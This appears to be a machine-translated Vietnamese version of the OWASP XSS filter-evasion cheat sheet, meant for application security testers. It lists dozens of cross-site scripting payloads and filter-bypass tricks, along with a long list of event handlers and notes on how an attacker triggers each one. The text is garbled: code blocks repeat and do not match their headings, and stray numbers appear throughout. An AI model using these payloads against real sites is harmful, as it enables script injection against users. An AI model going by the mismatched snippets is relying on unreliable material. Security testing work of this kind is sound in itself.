Bạn có thể đặt một hình ảnh trong JavaScript cảnh báo không?

Bài viết này tập trung vào việc cung cấp cho các chuyên gia kiểm tra bảo mật ứng dụng một hướng dẫn để hỗ trợ kiểm tra Cross Site Scripting. Nội dung ban đầu của bài viết này đã được RSnake tặng cho OWASP, từ XSS Cheat Sheet bán kết của anh ấy, tại.

Set.constructor`alert\x28document.domain\x29
6. Trang web đó hiện chuyển hướng đến ngôi nhà mới của nó tại đây, nơi chúng tôi dự định duy trì và nâng cao nó. Bảng gian lận phòng ngừa OWASP đầu tiên, Bảng gian lận ngăn chặn tập lệnh chéo trang, được lấy cảm hứng từ Bảng gian lận XSS của RSnake, vì vậy chúng tôi có thể cảm ơn RSnake vì nguồn cảm hứng của chúng tôi. Chúng tôi muốn tạo ra các hướng dẫn đơn giản, ngắn gọn mà các nhà phát triển có thể tuân theo để ngăn chặn XSS, thay vì chỉ yêu cầu các nhà phát triển xây dựng các ứng dụng có thể bảo vệ chống lại tất cả các thủ thuật ưa thích được chỉ định trong bảng gian lận tấn công khá phức tạp và do đó, Dòng Cheat Sheet của OWASP đã ra đời

Show

bài kiểm tra

Bảng gian lận này liệt kê một loạt các cuộc tấn công XSS có thể được sử dụng để vượt qua các bộ lọc phòng thủ XSS nhất định. Xin lưu ý rằng tính năng lọc đầu vào là biện pháp bảo vệ không đầy đủ đối với XSS mà những thử nghiệm này có thể được sử dụng để minh họa

Kiểm tra XSS cơ bản mà không cần trốn tránh bộ lọc

Đây là cách tiêm JavaScript XSS bình thường và rất có thể bị phát hiện nhưng tôi khuyên bạn nên thử trước (các trích dẫn không bắt buộc trong bất kỳ trình duyệt hiện đại nào nên chúng được bỏ qua ở đây)

Set.constructor`alert\x28document.domain\x29
7

Bộ định vị XSS (Polygot)

Sau đây là "tải trọng XSS thử nghiệm polygot. " Thử nghiệm này sẽ thực thi trong nhiều ngữ cảnh bao gồm html, chuỗi script, js và URL. Cảm ơn Gareth Heyes vì ​​sự đóng góp này

Set.constructor`alert\x28document.domain\x29
8

Thẻ A không đúng định dạng

Bỏ qua thuộc tính HREF và tìm hiểu về phần chính của XXS. Gửi bởi David Cross \~ Đã xác minh trên Chrome

Set.constructor`alert\x28document.domain\x29
9

hoặc Chrome thích thay thế các trích dẫn bị thiếu cho bạn. nếu bạn gặp khó khăn, chỉ cần tắt chúng đi và Chrome sẽ đặt chúng vào đúng chỗ và sửa các trích dẫn bị thiếu của bạn trên một URL hoặc tập lệnh

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
0

Thẻ IMG không đúng định dạng

Ban đầu được tìm thấy bởi Begeek (nhưng đã được làm sạch và rút ngắn để hoạt động trong tất cả các trình duyệt), vectơ XSS này sử dụng công cụ kết xuất thoải mái để tạo vectơ XSS của chúng tôi trong thẻ IMG nên được gói gọn trong dấu ngoặc kép. Tôi cho rằng điều này ban đầu được dùng để sửa mã hóa cẩu thả. Điều này sẽ khiến việc phân tích chính xác các thẻ HTML trở nên khó khăn hơn đáng kể

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
1

từCharCode

Nếu không cho phép trích dẫn dưới bất kỳ hình thức nào, bạn có thể

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
2 a
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
3 bằng JavaScript để tạo bất kỳ vectơ XSS nào bạn cần

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
4

Thẻ SRC mặc định để nhận các bộ lọc trước đây kiểm tra tên miền SRC

Điều này sẽ bỏ qua hầu hết các bộ lọc tên miền SRC. Việc chèn JavaScript vào một phương thức sự kiện cũng sẽ áp dụng cho bất kỳ nội dung chèn loại thẻ HTML nào sử dụng các phần tử như Biểu mẫu, Khung nội tuyến, Đầu vào, Nhúng, v.v. Nó cũng sẽ cho phép bất kỳ sự kiện liên quan nào đối với loại thẻ được thay thế như

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
5,
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
6 cung cấp cho bạn một số lượng lớn các biến thể cho nhiều lần tiêm được liệt kê tại đây. Gửi bởi David Cross

Biên tập bởi Abdullah Hussam(@Abdulahhusam)

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
7

Thẻ SRC mặc định bằng cách để trống

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
8

Thẻ SRC mặc định bằng cách loại bỏ nó hoàn toàn

exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
9

Đang báo lỗi

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
0

IMG onerror và JavaScript Alert Encode

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
1

Tham chiếu ký tự HTML thập phân

Tất cả các ví dụ XSS sử dụng javascript. lệnh bên trong thẻ

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
2 sẽ không hoạt động trong Firefox hoặc Netscape 8. 1+ trong chế độ công cụ kết xuất Gecko)

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
3

Tham chiếu ký tự HTML thập phân không có dấu chấm phẩy ở cuối

Điều này thường hiệu quả trong XSS cố gắng tìm kiếm "&#XX;", vì hầu hết mọi người không biết về phần đệm - tổng cộng tối đa 7 ký tự số. Điều này cũng hữu ích đối với những người giải mã dựa trên các chuỗi như $tmp_string =\~ s/. *\&#(\d+);. */$1/;

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
4

Tham chiếu ký tự HTML thập lục phân không có dấu chấm phẩy

Đây cũng là một cuộc tấn công XSS khả thi đối với chuỗi trên $tmp_string=\~ s/. *\&#(\d+);. */$1/;

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
5

Thẻ nhúng

Được sử dụng để phá vỡ cuộc tấn công kịch bản chéo trang

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
6

Thẻ được mã hóa nhúng

Sử dụng cái này để phá vỡ XSS

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
7

Dòng mới được nhúng để chia nhỏ XSS

Một số trang web tuyên bố rằng bất kỳ ký tự nào trong số 09-13 (thập phân) sẽ hoạt động cho cuộc tấn công này. Điều đó là không chính xác. Chỉ 09 (tab ngang), 10 (dòng mới) và 13 (trả lại dòng) hoạt động. Xem biểu đồ ascii để biết thêm chi tiết. Bốn ví dụ XSS sau đây minh họa véc tơ này

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
8

Vận chuyển nhúng Quay trở lại XSS chia tay

(Ghi chú. với những điều trên, tôi đang làm cho các chuỗi này dài hơn mức cần thiết vì các số 0 có thể bị bỏ qua. Tôi thường thấy các bộ lọc giả sử mã hóa hex và dec phải có hai hoặc ba ký tự. Quy tắc thực sự là 1-7 ký tự. )

<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
9

Null chia nhỏ Chỉ thị JavaScript

Các ký tự rỗng cũng hoạt động như các vectơ XSS nhưng không giống như ở trên, bạn cần đưa chúng trực tiếp bằng cách sử dụng thứ gì đó như Burp Proxy hoặc sử dụng

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
0 trong chuỗi URL hoặc nếu bạn muốn viết công cụ chèn của riêng mình, bạn có thể sử dụng vim (
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
1 sẽ tạo ra một . Được rồi, tôi lại nói dối, các phiên bản Opera cũ hơn (khoảng thế kỷ 7. 11 trên Windows) dễ bị tấn công bởi một ký tự bổ sung 173 (char điều khiển dấu gạch nối mềm). Nhưng null char
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
0 hữu ích hơn nhiều và giúp tôi bỏ qua một số bộ lọc trong thế giới thực với một biến thể trong ví dụ này

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
3

Dấu cách và ký tự Meta Trước JavaScript trong Hình ảnh cho XSS

Điều này hữu ích nếu đối sánh mẫu không tính đến khoảng trắng trong từ

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
4 - điều này đúng vì điều đó sẽ không hiển thị- và đưa ra giả định sai rằng bạn không thể có khoảng trắng giữa câu trích dẫn và từ khóa
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
4. Thực tế là bạn có thể có bất kỳ ký tự nào từ 1-32 ở dạng thập phân

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
6

XSS không alpha-không chữ số

Trình phân tích cú pháp HTML của Firefox giả định rằng một ký tự không phải alpha-không phải là chữ số không hợp lệ sau một từ khóa HTML và do đó coi đó là khoảng trắng hoặc mã thông báo không hợp lệ sau thẻ HTML. Vấn đề là một số bộ lọc XSS cho rằng thẻ mà chúng đang tìm kiếm bị chia nhỏ bởi khoảng trắng. Ví dụ

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
7. =
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
8

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
9

Tuy nhiên, dựa trên cùng một ý tưởng như trên, được mở rộng dựa trên nó, sử dụng Rnake fuzzer. Công cụ kết xuất Gecko cho phép bất kỳ ký tự nào không phải là chữ cái, số hoặc ký tự đóng gói (như dấu ngoặc kép, dấu ngoặc nhọn, v.v. ) giữa trình xử lý sự kiện và dấu bằng, giúp bỏ qua các khối tập lệnh chéo trang dễ dàng hơn. Lưu ý rằng điều này cũng áp dụng cho char trọng âm như được thấy ở đây

<BODY onload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert("XSS")>

Yair Amit khiến tôi chú ý rằng có một hành vi hơi khác giữa các công cụ kết xuất IE và Gecko cho phép chỉ một dấu gạch chéo giữa thẻ và tham số không có khoảng trắng. Điều này có thể hữu ích nếu hệ thống không cho phép khoảng trắng

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
0

Dấu ngoặc mở không liên quan

Được đệ trình bởi Franz Sedlmaier, vectơ XSS này có thể đánh bại một số công cụ phát hiện nhất định hoạt động bằng cách sử dụng các cặp dấu ngoặc góc mở và đóng phù hợp trước tiên, sau đó thực hiện so sánh thẻ bên trong, thay vì một thuật toán hiệu quả hơn như Boyer-Moore để tìm kiếm . Dấu gạch chéo kép nhận xét dấu ngoặc ngoài kết thúc để loại bỏ lỗi JavaScript

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
1

Không có thẻ tập lệnh đóng

Trong Firefox và Netscape 8. 1 trong chế độ công cụ kết xuất Gecko, bạn thực sự không cần phần

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
2 của vectơ Cross Site Scripting này. Firefox cho rằng việc đóng thẻ HTML là an toàn và thêm các thẻ đóng cho bạn. Chu đáo chưa kìa. Không giống như cái tiếp theo, cái này không ảnh hưởng đến Firefox, cái này không yêu cầu bất kỳ HTML bổ sung nào bên dưới nó. Bạn có thể thêm dấu ngoặc kép nếu cần, nhưng nhìn chung chúng không cần thiết, mặc dù hãy cẩn thận, tôi không biết HTML sẽ trông như thế nào sau khi được đưa vào

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
3

Nghị quyết giao thức trong thẻ Script

Biến thể cụ thể này do Łukasz Pilorz gửi và dựa một phần vào việc bỏ qua giải pháp giao thức của Ozh bên dưới. Ví dụ về tập lệnh chéo trang này hoạt động trong IE, Netscape ở chế độ kết xuất IE và Opera nếu bạn thêm thẻ

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
4 vào cuối. Tuy nhiên, điều này đặc biệt hữu ích khi dung lượng là một vấn đề và tất nhiên, tên miền của bạn càng ngắn thì càng tốt. Các ". j" là hợp lệ, bất kể loại mã hóa vì trình duyệt biết nó trong ngữ cảnh của thẻ SCRIPT

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
5

Vectơ HTML/JavaScript XSS mở một nửa

Không giống như Firefox, công cụ kết xuất của IE không thêm dữ liệu bổ sung vào trang của bạn, nhưng nó cho phép javascript. chỉ thị trong hình ảnh. Điều này hữu ích như một vectơ vì nó không yêu cầu dấu ngoặc nhọn. Điều này giả định rằng có bất kỳ thẻ HTML nào bên dưới nơi bạn đang chèn vectơ tập lệnh chéo trang này. Mặc dù không có thẻ đóng ">" nhưng các thẻ bên dưới sẽ đóng thẻ đó. Một lưu ý. điều này làm hỏng HTML, tùy thuộc vào HTML bên dưới nó là gì. Nó xoay quanh regex NIDS sau.

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
6 vì nó không yêu cầu kết thúc ">". Lưu ý thêm, điều này cũng có tác dụng đối với bộ lọc XSS trong thế giới thực mà tôi đã gặp bằng cách sử dụng thẻ
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
7 kết thúc mở thay vì thẻ
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
2

<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> 
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
9
<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
0

Chân đế góc mở đôi

Sử dụng dấu ngoặc nhọn mở ở cuối vectơ thay vì dấu ngoặc góc đóng sẽ gây ra hành vi khác trong kết xuất Netscape Gecko. Không có nó, Firefox sẽ hoạt động nhưng Netscape thì không

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
1

Thoát JavaScript Thoát

Khi ứng dụng được viết để xuất một số thông tin người dùng bên trong JavaScript như sau.

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
2 và bạn muốn đưa JavaScript của riêng mình vào đó nhưng ứng dụng phía máy chủ thoát khỏi một số trích dẫn nhất định, bạn có thể tránh điều đó bằng cách thoát ký tự thoát của chúng. Khi điều này được đưa vào, nó sẽ đọc
<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
3, kết quả là không thoát khỏi dấu ngoặc kép và khiến vectơ Cross Site Scripting kích hoạt. Bộ định vị XSS sử dụng phương pháp này

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
4

Một cách khác, nếu thoát JSON hoặc JavaScript chính xác đã được áp dụng cho dữ liệu được nhúng nhưng không mã hóa HTML, là hoàn thành khối tập lệnh và bắt đầu khối tập lệnh của riêng bạn

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
5

Kết thúc thẻ tiêu đề

Đây là một vectơ XSS đơn giản đóng các thẻ

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
6, có thể gói gọn cuộc tấn công kịch bản chéo trang độc hại

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
7

HÌNH ẢNH ĐẦU VÀO

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
8

HÌNH ẢNH CƠ THỂ

<XML SRC="xsstest.xml" ID=I></XML>  
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
9

IMG Dynsrc

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
0

IMG Lowsrc

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
1

Danh sách-kiểu-hình ảnh

Vấn đề khá bí truyền khi xử lý việc nhúng hình ảnh cho danh sách dấu đầu dòng. Điều này sẽ chỉ hoạt động trong công cụ kết xuất IE do chỉ thị JavaScript. Không phải là một vectơ tập lệnh chéo trang đặc biệt hữu ích

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
2

VBscript trong một hình ảnh

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
3

Livescript (chỉ các phiên bản cũ hơn của Netscape)

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
4

Thẻ đối tượng SVG

<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
5

ECMAScript 6

Set.constructor`alert\x28document.domain\x29

Thẻ CƠ THỂ

Phương pháp không yêu cầu sử dụng bất kỳ biến thể nào của

a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")"; 
eval(a+b+c+d);
4 hoặc
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
7 để thực hiện cuộc tấn công XSS). Dan Crowley cũng lưu ý thêm rằng bạn có thể đặt dấu cách trước dấu bằng (
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
8. =
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
9)

<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
0

Trình xử lý sự kiện

Nó có thể được sử dụng trong các cuộc tấn công XSS tương tự như ở trên (đây là danh sách toàn diện nhất trên mạng, tại thời điểm viết bài này). Cảm ơn Rene Ledosquet về các bản cập nhật HTML+TIME

Dottoro Web Reference cũng có một danh sách các sự kiện rất hay trong JavaScript

  1. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    1 (kẻ tấn công có thể sử dụng điều này khi được thực thi từ bên trong đối tượng Flash được nhúng)
  2. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    2 (khi người dùng hủy tải hình ảnh)
  3. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    3 (khi đối tượng được đặt làm phần tử hoạt động)
  4. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    4 (kích hoạt sau khi người dùng in hoặc xem trước lệnh in)
  5. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    5 (kích hoạt trên đối tượng dữ liệu sau khi cập nhật dữ liệu trong đối tượng nguồn)
  6. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    6 (kích hoạt trước khi đối tượng được đặt làm phần tử hoạt động)
  7. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    7 (kẻ tấn công thực hiện chuỗi tấn công ngay trước khi lựa chọn được sao chép vào khay nhớ tạm - kẻ tấn công có thể thực hiện việc này với hàm
    <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    8)
  8. <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    9 (kẻ tấn công thực hiện chuỗi tấn công ngay trước khi lựa chọn bị cắt)
  9. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    0 (kích hoạt ngay sau khi activeElement được thay đổi từ đối tượng hiện tại)
  10. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    1 (Kích hoạt trước khi đối tượng chứa trong phần tử có thể chỉnh sửa đi vào trạng thái kích hoạt giao diện người dùng hoặc khi đối tượng vùng chứa có thể chỉnh sửa được chọn điều khiển)
  11. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    2 (người dùng cần bị lừa dán hoặc buộc phải dán bằng hàm
    <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    3)
  12. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    4 (người dùng cần phải bị lừa in hoặc kẻ tấn công có thể sử dụng hàm
    <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    5 hoặc
    <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    6)
  13. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    7 (người dùng cần phải bị lừa để đóng trình duyệt - kẻ tấn công không thể tải các cửa sổ trừ khi nó được sinh ra từ cửa sổ gốc)
  14. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    8 (kích hoạt trên đối tượng dữ liệu trước khi cập nhật dữ liệu trong đối tượng nguồn)
  15. <A HREF="h 
    tt  p://6   6.000146.0x7.147/">XSS</A>
    
    9 (sự kiện onbegin kích hoạt ngay lập tức khi dòng thời gian của phần tử bắt đầu)
  16. Set.constructor`alert\x28document.domain\x29
    
    00 (trong trường hợp cửa sổ bật lên khác được tải và cửa sổ mất tiêu điểm)
  17. Set.constructor`alert\x28document.domain\x29
    
    01 (kích hoạt khi thuộc tính hành vi của đối tượng vùng chọn được đặt thành "thay thế" và nội dung của vùng chọn đến một bên của cửa sổ)
  18. Set.constructor`alert\x28document.domain\x29
    
    02 (cháy khi dữ liệu thay đổi trong nhà cung cấp dữ liệu)
  19. Set.constructor`alert\x28document.domain\x29
    
    03 (trường chọn, văn bản hoặc TEXTAREA mất tiêu điểm và giá trị của nó đã được sửa đổi)
  20. Set.constructor`alert\x28document.domain\x29
    
    04 (ai đó nhấp vào biểu mẫu)
  21. Set.constructor`alert\x28document.domain\x29
    
    05 (người dùng cần nhấp chuột phải vào khu vực tấn công)
  22. Set.constructor`alert\x28document.domain\x29
    
    06 (kích hoạt khi người dùng chuẩn bị thực hiện lựa chọn kiểm soát đối tượng)
  23. Set.constructor`alert\x28document.domain\x29
    
    07 (người dùng cần sao chép một cái gì đó hoặc nó có thể bị khai thác bằng cách sử dụng lệnh
    <? echo('<SCR)';
    echo('IPT>alert("XSS")</SCRIPT>'); ?>
    
    8)
  24. Set.constructor`alert\x28document.domain\x29
    
    09 (người dùng cần sao chép một cái gì đó hoặc nó có thể bị khai thác bằng cách sử dụng lệnh
    Set.constructor`alert\x28document.domain\x29
    
    10)
  25. Set.constructor`alert\x28document.domain\x29
    
    11 (người dùng sẽ cần thay đổi dữ liệu trong một phần tử hoặc kẻ tấn công có thể thực hiện chức năng tương tự)
  26. Set.constructor`alert\x28document.domain\x29
    
    12 (kích hoạt khi tập dữ liệu được hiển thị bởi một đối tượng nguồn dữ liệu thay đổi)
  27. Set.constructor`alert\x28document.domain\x29
    
    13 (kích hoạt để cho biết rằng tất cả dữ liệu có sẵn từ đối tượng nguồn dữ liệu)
  28. Set.constructor`alert\x28document.domain\x29
    
    14 (người dùng nhấp đúp vào phần tử biểu mẫu hoặc liên kết)
  29. Set.constructor`alert\x28document.domain\x29
    
    15 (kích hoạt khi activeElement được thay đổi từ đối tượng hiện tại sang đối tượng khác trong tài liệu gốc)
  30. Set.constructor`alert\x28document.domain\x29
    
    16 (yêu cầu người dùng kéo một đối tượng)
  31. Set.constructor`alert\x28document.domain\x29
    
    17 (yêu cầu người dùng kéo một đối tượng)
  32. Set.constructor`alert\x28document.domain\x29
    
    18 (yêu cầu người dùng kéo đối tượng ra khỏi vị trí hợp lệ)
  33. Set.constructor`alert\x28document.domain\x29
    
    19 (yêu cầu người dùng kéo đối tượng vào vị trí hợp lệ)
  34. Set.constructor`alert\x28document.domain\x29
    
    20 (yêu cầu người dùng kéo đối tượng vào vị trí hợp lệ)
  35. Set.constructor`alert\x28document.domain\x29
    
    21 (người dùng đánh rơi một đồ vật (e. g. file) vào cửa sổ trình duyệt)
  36. Set.constructor`alert\x28document.domain\x29
    
    22 (xảy ra khi người dùng bắt đầu thao tác kéo)
  37. Set.constructor`alert\x28document.domain\x29
    
    23 (người dùng đánh rơi một đồ vật (e. g. file) vào cửa sổ trình duyệt)
  38. Set.constructor`alert\x28document.domain\x29
    
    24 (sự kiện onEnd kích hoạt khi dòng thời gian kết thúc
  39. Set.constructor`alert\x28document.domain\x29
    
    25 (tải tài liệu hoặc hình ảnh gây ra lỗi)
  40. Set.constructor`alert\x28document.domain\x29
    
    26 (kích hoạt đối tượng cơ sở dữ liệu khi xảy ra lỗi trong khi cập nhật dữ liệu được liên kết trong đối tượng nguồn dữ liệu)
  41. Set.constructor`alert\x28document.domain\x29
    
    27 (kích hoạt khi bộ lọc trực quan hoàn thành thay đổi trạng thái)
  42. Set.constructor`alert\x28document.domain\x29
    
    28 (kẻ tấn công có thể tạo khai thác khi marquee kết thúc vòng lặp)
  43. Set.constructor`alert\x28document.domain\x29
    
    29 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ được lấy tiêu điểm)
  44. Set.constructor`alert\x28document.domain\x29
    
    30 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ được lấy tiêu điểm)
  45. Set.constructor`alert\x28document.domain\x29
    
    31 (kẻ tấn công thực hiện chuỗi tấn công khi cửa sổ mất tiêu điểm)
  46. Set.constructor`alert\x28document.domain\x29
    
    32 (kích hoạt khi phần định danh đoạn của địa chỉ hiện tại của tài liệu thay đổi)
  47. Set.constructor`alert\x28document.domain\x29
    
    33 (kẻ tấn công thực hiện chuỗi tấn công khi người dùng nhấn F1 trong khi cửa sổ đang ở tiêu điểm)
  48. Set.constructor`alert\x28document.domain\x29
    
    34 (nội dung văn bản của một phần tử được thay đổi thông qua giao diện người dùng)
  49. Set.constructor`alert\x28document.domain\x29
    
    35 (người dùng nhấn một phím)
  50. Set.constructor`alert\x28document.domain\x29
    
    36 (người dùng nhấn hoặc giữ một phím)
  51. Set.constructor`alert\x28document.domain\x29
    
    37 (người dùng nhả khóa)
  52. Set.constructor`alert\x28document.domain\x29
    
    38 (người dùng sẽ phải in hoặc xem trước bản in)
  53. Set.constructor`alert\x28document.domain\x29
    
    39 (kẻ tấn công thực hiện chuỗi tấn công sau khi cửa sổ tải)
  54. Set.constructor`alert\x28document.domain\x29
    
    40 (có thể khai thác bằng phương pháp
    Set.constructor`alert\x28document.domain\x29
    
    41)
  55. Set.constructor`alert\x28document.domain\x29
    
    42 (Khi tệp phương tiện phát trực tuyến được sử dụng, sự kiện này có thể kích hoạt trước khi tệp bắt đầu phát)
  56. Set.constructor`alert\x28document.domain\x29
    
    43 (Người dùng mở một trang trong trình duyệt có chứa tệp phương tiện và sự kiện kích hoạt khi có sự cố)
